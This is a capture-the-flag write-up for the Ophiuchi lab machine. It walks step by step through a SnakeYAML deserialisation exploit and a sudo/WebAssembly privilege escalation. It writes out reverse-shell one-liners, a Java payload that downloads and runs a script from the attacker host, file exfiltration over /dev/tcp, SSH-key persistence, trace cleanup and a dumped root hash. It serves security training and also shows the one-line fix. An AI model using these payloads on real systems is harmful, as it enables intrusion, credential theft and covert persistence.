Recon
- Port scan:
$ nmap -p- 10.10.10.227 > ports.nmap
PORT STATE SERVICE 22/tcp open ssh 8080/tcp open http-proxy
- Targeted scan:
$ nmap -sC -sV -p 22,8080 10.10.10.227 > targeted.nmap
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA) | 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA) |_ 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519) 8080/tcp open http Apache Tomcat 9.0.38 |_http-title: Parse YAML Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel - OpenSSH 8.2p1 Ubuntu 4ubuntu0.1, Apache Tomcat 9.0.38
OpenSSH 8.2p1 Ubuntu 4ubuntu0.1, Apache Tomcat 9.0.38
Enumeration
- Add vhost to
/etc/hosts
:10.10.10.227 ophiuchi.htb
HTTP Enumeration
- Website is an online YAML parser, which is a possible vector for a deserialisation attack.
- Bruteforcing directory listing with
dirbuster
:$ gobuster dir -u http://10.10.10.227:8080/ -w ../Common/directory-list-2.3-medium.txt -x .php,.html
- Found admin panel:
- Upon failing login dialog box, we get the message:
You are not authorized to view this page. If you have not changed any configuration files, please examine the file conf/tomcat-users.xml in your installation. That file must contain the credentials to let you use this webapp. For example, to add the manager-gui role to a user named tomcat with a password of s3cret, add the following to the config file listed above. <role rolename="manager-gui"/> <user username="tomcat" password="s3cret" roles="manager-gui"/>
- User credentials needed to access
/manager
page is stored inconf/tomcat-users.xml
- Using
dirbuster
to ping the manager page reveals the application name:Mar 07, 2021 8:48:44 PM org.apache.commons.httpclient.HttpMethodDirector processWWWAuthChallenge INFO: No credentials available for BASIC 'Tomcat Manager Application'@10.10.10.227:8080
- Sending data on the YAML parser page redirects us to http://10.10.10.227:8080/Servlet and the server responds with:
Due to security reason this feature has been temporarily on hold. We will soon fix the issue!
- Looks like the parser feature is "on hold", but that doesn't necessarily mean our input didn't get deserialised!
- Intercepting parser POST request with Burp Suite:
POST /Servlet HTTP/1.1 Host: 10.10.10.227:8080 Content-Length: 67 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://10.10.10.227:8080 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://10.10.10.227:8080/ Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: JSESSIONID=3E409C2627922DEF55DAFEB93DEC71B6 Connection: close data=%7B%22hello%22%3A+%22there%22%2C+%22how%22%3A+%22are+you%22%7D
- Technically speaking, YAML is a superset of JSON. This means that a YAML parser should be able to understand JSON.
- After entering special characters
!!
, we get a HTTP 500 response instead of the normal redirect:while scanning a tag in 'string', line 1, column 1: !! ^ expected URI, but found (0) in 'string', line 1, column 3: !! ^ org.yaml.snakeyaml.scanner.ScannerImpl.scanTagUri(ScannerImpl.java:2158) org.yaml.snakeyaml.scanner.ScannerImpl.scanTag(ScannerImpl.java:1537) org.yaml.snakeyaml.scanner.ScannerImpl.fetchTag(ScannerImpl.java:954) org.yaml.snakeyaml.scanner.ScannerImpl.fetchMoreTokens(ScannerImpl.java:372) org.yaml.snakeyaml.scanner.ScannerImpl.checkToken(ScannerImpl.java:227) org.yaml.snakeyaml.parser.ParserImpl$ParseImplicitDocumentStart.produce(ParserImpl.java:195) org.yaml.snakeyaml.parser.ParserImpl.peekEvent(ParserImpl.java:158) org.yaml.snakeyaml.parser.ParserImpl.checkEvent(ParserImpl.java:148) org.yaml.snakeyaml.composer.Composer.getSingleNode(Composer.java:118) org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:150) org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:490) org.yaml.snakeyaml.Yaml.load(Yaml.java:416) Servlet.doPost(Servlet.java:15) javax.servlet.http.HttpServlet.service(HttpServlet.java:652) javax.servlet.http.HttpServlet.service(HttpServlet.java:733) org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
- We discover the Java package used for parsing YAML is SnakeYAML, which we can try to exploit via a deserialisation attack.
Exploitation
SnakeYAML Deserialisation Attack
- A special syntax in SnakeYAML, the
!!<constructor>
, allows the constructor of any Java class to be called when parsing YAML data. - This effectively allows the attacker to gain remote code execution on the server.
- Host HTTP server to capture requests:
$ python -m http.server
- Enter the following in the parser:
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://10.10.14.103:8000/owata.html"] ]] ]
- This payload should make SnakeYAML invoke the
ScriptEngineManager
constructor and make a GET request to our HTTP server. - Upon clicking parse, we get a GET request from the victim, confirming that the parser is indeed still active and deserialising data:
10.10.10.227 - - [07/Mar/2021 21:14:02] "GET /owata.html HTTP/1.1" 302 - 10.10.10.227 - - [07/Mar/2021 21:14:02] "GET / HTTP/1.1" 200 -
- Using a Java template file by artsploit, let's try to make SnakeYAML execute a reverse shell.
rev.sh
:#!/bin/sh bash -i >& /dev/tcp/10.10.14.103/4444 0>&1
AwesomeScriptEngineFactory.java
:.. public AwesomeScriptEngineFactory() { try { Runtime.getRuntime().exec("curl http://10.10.14.103:8000/rev.sh -o /dev/shm/rev.sh"); Runtime.getRuntime().exec("chmod +x /dev/shm/rev.sh"); Runtime.getRuntime().exec("bash /dev/shm/rev.sh"); } catch (IOException e) { e.printStackTrace(); } } ..
- Compile the Java payload, and place the
.jar
file in our HTTP server:$ javac ./yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java
$ jar -cvf yaml-payload.jar -C ./yaml-payload/src/ .
$ mv yaml-payload.jar ./www
- Listen for reverse shell on port 4444:
$ nc -lvnp 4444
- Make SnakeYAML perform a GET request on our .jar payload:
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://10.10.14.103:8000/yaml-payload.jar"] ]] ]
- Getting Java errors:
java.lang.UnsupportedClassVersionError: artsploit/AwesomeScriptEngineFactory has been compiled by a more recent version of the Java Runtime (class file version 58.0), this version of the Java Runtime only recognizes class file versions up to 55.0
- Looks like
javac
compiled the file with a format too recent (Java 14 - 58.0), let's specify the version (Java 11 - 55.0) and recompile:$ javac ./yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java --source 11 --target 1
$ jar -cvf yaml-payload.jar -C ./yaml-payload/src/ . && mv yaml-payload.jar ./www
- Resend payload, and we should get a reverse shell as tomcat:
$ whoami && id
tomcat uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
- Let's go look for the credential file for the manager application, set up a listener locally and transfer the file through
nc
:$ nc -lvnp 1337 > tomcat-users.xml
$ cat /opt/tomcat/conf/tomcat-users.xml > /dev/tcp/10.10.14.103/1337
tomcat-users.xml
:<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
- Found manager credentials:
admin:whythereisalimit
- Navigating to
/home
directory, we find an "admin" user: - Attempt to switch user to "admin":
$ su admin
Password: whythereisalimit
- The terminal seems to be hanging up at
su
, so let's upgrade our shell by spawning a pty:$ echo "import pty; pty.spawn('/bin/bash')" > /dev/shm/shell.py
$ python3 /dev/shm/shell.py
- Retry, and we should get a shell as "admin":
$ whoami && id
admin uid=1000(admin) gid=1000(admin) groups=1000(admin)
- Alternatively, it is also possible to simply SSH into the victim as "admin", this gives us a stable interactive shell with tab-completion etc.
- Get user flag!
Privilege Escalation
- Using the credentials, login to http://ophiuchi.htb:8080/manager, and we arrive at an application manager panel:
- Looking through the different applications, it seems we can upload WAR files to be deployed, but it doesn't seem helpful for escalating privileges because we already have code execution as tomcat.
- Checking sudo privileges on admin user:
$ sudo -l
User admin may run the following commands on ophiuchi: (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
- It seems like the admin can run
/usr/bin/go
as root on a specificindex.go
file in/opt/wasm-functions
, let's download the entire directory to have a better look:$ scp -r [email protected]:/opt/wasm-functions .
index 100% 2458KB 4.9MB/s 00:00 index.go 100% 522 19.3KB/s 00:00 deploy.sh 100% 88 3.3KB/s 00:00 main.wasm 100% 1445KB 5.6MB/s 00:00 index.go 100% 522 18.7KB/s 00:00 deploy.sh 100% 88 3.2KB/s 00:00 main.wasm 100% 1445KB 5.6MB/s 00:00
index.go
:package main import ( "fmt" wasm "github.com/wasmerio/wasmer-go/wasmer" "os/exec" "log" ) func main() { bytes, _ := wasm.ReadBytes("main.wasm") instance, _ := wasm.NewInstance(bytes) defer instance.Close() init := instance.Exports["info"] result,_ := init() f := result.String() if (f != "1") { fmt.Println("Not ready to deploy") } else { fmt.Println("Ready to deploy") out, err := exec.Command("/bin/sh", "deploy.sh").Output() if err != nil { log.Fatal(err) } fmt.Println(string(out)) } }
- We also see a
deploy.sh
script in the same directory, but it seems to be empty with comments:#!/bin/bash # ToDo # Create script to automatic deploy our new web at tomcat port 8080
- There is also a WebAssembly binary called
main.wasm
:$ file main.wasm
main.wasm: WebAssembly (wasm) binary module version 0x1 (MVP)
- Executing
index.go
with sudo returns:$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Not ready to deploy
- The
index.go
script is also calling filesmain.wasm
anddeploy.sh
without using absolute paths, this means the files in the current working directory when we run the sudo command will be called instead. - The script executes
deploy.sh
with/bin/sh
if theinfo
function inmain.wasm
returns a value other than1
, which is our goal. - Otherwise, it prints "Not ready to deploy", and exits.
- Let's begin by creating a deploy.sh file in our temporary working directory:
$ echo "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.103/4444 0>&1'" > /dev/shm/deploy.sh
- Since this script will be executed by
/bin/sh
and not/bin/bash
, we have to additionally add a/bin/bash -c
flag in front of the payload to get proper redirection. - Using
wasm2wat
, decompile themain.wasm
binary into a.wat
file:$ wasm2wat main.wasm > main.wat
main.wat
:(module (type $t0 (func (result i32))) (func $info (export "info") (type $t0) (result i32) (i32.const 0)) (table $T0 1 1 funcref) (memory $memory (export "memory") 16) (global $g0 (mut i32) (i32.const 1048576)) (global $__data_end (export "__data_end") i32 (i32.const 1048576)) (global $__heap_base (export "__heap_base") i32 (i32.const 1048576)))
- Change the
i32
line under function$info
from a 0 to a 1:(i32.const 0))
→(i32.const 1))
- Using
wat2wasm
, recompile themain.wasm
binary:$ wat2wasm main.wat && mv main.wasm ./www
- Download the edited
main.wasm
to our temporary directory:$ wget http://10.10.14.103:8000/main.wasm
- Listen for a reverse shell on port 4444:
$ nc -lvnp 4444
- While in our temporary directory, run as sudo:
$ sudo /usr/bin/go run /opt/wasm-functions/index.go
- We should then get a shell as root:
$ whoami && id
root uid=0(root) gid=0(root) groups=0(root)
- Get root flag!
Post-exploitation
- Decompiling
Servlet.class
in/opt/tomcat/webapps/yaml/WEB-INF/classes/
with Procyon:$ procyon Servlet.class -o .
Servlet.java
:@WebServlet(name = "Servlet") public class Servlet extends HttpServlet { protected void doPost(final HttpServletRequest request, final HttpServletResponse response) throws ServletException, IOException { final String f = request.getParameter("data"); final Yaml yaml = new Yaml(); final Object obj = yaml.load(f); response.getWriter().append("Due to security reason this feature has been temporarily on hold. We will soon fix the issue!"); } protected void doGet(final HttpServletRequest request, final HttpServletResponse response) throws ServletException, IOException { } }
- We see that the YAML input
f
is still being deserialised insecurely, before the error response is even sent back to the user:final Object obj = yaml.load(f);
- Patching this would have simply been the case of editing one line of code:
protected void doPost(final HttpServletRequest request, final HttpServletResponse response) throws ServletException, IOException { final String f = request.getParameter("data"); final Yaml yaml = new Yaml(new Constructor(SafeClass.class)); // using safe constructor final Object obj = yaml.load(f); }
Persistence
- Get root user's hash from
/etc/shadow
:root:$6$oPgtRE0IgWrXKitG$Z5FyXxEXm5l.skZbIBKm0poPFPUxgZVY5DPii0DFsQgSBiL98ioRBuHDVzOHaZCgH.xyLnpGIksHlfBXC4LQo/:18554:0:99999:7:::
- Maintaining access by adding our public key to
/root/.ssh/authorized_keys
:$ echo "ssh-rsa ..." > ~/.ssh/authorized_keys
- Clean up after ourselves:
$ rm /dev/shm/rev.sh /dev/shm/shell.py /dev/shm/main.wasm /dev/shm/deploy.sh
Resources
- https://www.appmarq.com/public/security,1039056,Avoid-insecure-use-of-YAML-deserialization-when-using-SnakeYaml-JEE
- https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf
- https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858
- https://github.com/artsploit/yaml-payload
- https://webassembly.github.io/wabt/demo/wasm2wat/index.html
- https://webassembly.github.io/wabt/demo/wat2wasm/index.html